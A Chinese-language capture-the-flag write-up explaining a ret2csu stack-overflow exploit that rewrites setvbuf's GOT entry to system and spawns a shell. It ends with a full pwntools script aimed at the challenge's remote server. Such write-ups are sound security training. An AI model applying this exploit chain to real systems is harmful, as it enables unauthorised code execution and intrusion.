首先檢查一下保護,發現基本上沒有。
然後用ida開啟發現,就一個gets函式可以利用。
由於沒開canary,所以這裡可以輕鬆溢位,但是由於程式只呼叫了
沒有輸出函式,所以沒辦法直接洩露函式真實地址,打常規的ret2libc。不過好在程式裡有csu函式,還可以打ret2csu。不過還是上面那個原因,不能直接獲得函式的真實地址,所以只能找函式的相對偏移。這裡在ida裡直接看彙編程式碼,可以發現main函式上面有下圖中紅色的這部分程式碼
然後配合上csu函式中控制rbp和rbx的
可以直接改變rbp-0x3d這個地方存放的東西。那麼思路就清晰了。首先gets函式是不檢查輸入長度的,所以我們可以隨便控制函式的執行流程
其次,我們沒辦法知道函式的真實地址,但是我們可以透過libc檔案知道函式之間的相對偏移。而且我們還可以控制一個地方的內容。那麼我們就可以改寫got表了,這裡一共就兩個函式的got表可以獲得,由於需要gets函式給即將獲得的system函式提供引數,所以只能改寫setvbuf的got表,將裡面存放的setvbuf的真實地址改為system的真實地址(通常都是改這個)。獲取偏移的程式碼如下
這裡有兩個要注意的點,第一個就是這個題目給的libc檔案和遠端環境的不一樣,直接用它給的libc算的偏移是錯的。所以要用glibc-all-in-one下載題目提示給的libc版本。第二點就是offset要&上0xFFFFFFFFFFFFFFFF,兩者的差別就在於前者會被視為有符號的整數,後者會被當作無符號整數。而前者在輸入的時候會報錯(超出p64打包的數字範圍(0-2的64次方-1)),修改前後結果如下
然後接下來即使正式開始準備溢位了。程式碼如下
首先將需要用到的gadget全部準備一下。然後其實就沒什麼了。先溢位到棧中ret的地址,將ret的地址改為csu函式的地址,然後根據csu函式彙編部分的程式碼,依次填入rbx和rdx等,由於後面的幾個暫存器沒有用到所以直接置零。然後跳轉到我們上述用來修改指定地點的程式碼部分,這樣就能將setvbuf的got表裡面存放的setvbuf的真實地址改為system的真實地址。這樣下次呼叫setvbuf函式實際上就是呼叫system函式。那我們現在就是要給system函式提供引數/bin/sh\x00了,這裡我們利用gets函式向可寫段中寫入字串,正常來說最好用pwngdb的vmmap看一下哪裡可寫,不過不知道為什麼我除錯不了,所以直接看bss段裡有沒有可寫的部分。然後發現0x6010800這部分有很大的空間,看著很想可寫段,試一下確實可寫。所以直接用gets函式往這裡寫入字串,然後再呼叫setvbuf函式(此時已被修改為system函式)就可以獲得shell。最後程式碼如下
from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug') elf=ELF('/mnt/hgfs/share/3/pwn') libc=ELF('/home/loser/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') print(hex(libc.sym['setvbuf'])) print(hex(libc.sym['system'])) offset=libc.sym['system']-libc.sym['setvbuf'] print(hex(offset)) offset=offset&0xFFFFFFFFFFFFFFFF print(hex(offset)) p=remote('gz.imxbt.cn',20369) setvbuf_plt=elf.plt['setvbuf'] setvbuf_got=elf.got['setvbuf'] gets_plt=elf.plt['gets'] csu_addr=0x4006EA gadget=0x400658 rdi=0x00000000004006f3 bss=0x601080 payload=b'a'*0x10+p64(csu_addr)+p64(offset)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(gadget) payload+=p64(rdi)+p64(bss)+p64(gets_plt)+p64(rdi)+p64(bss)+p64(setvbuf_plt) p.sendline(payload) p.sendline('/bin/sh\x00') p.interactive()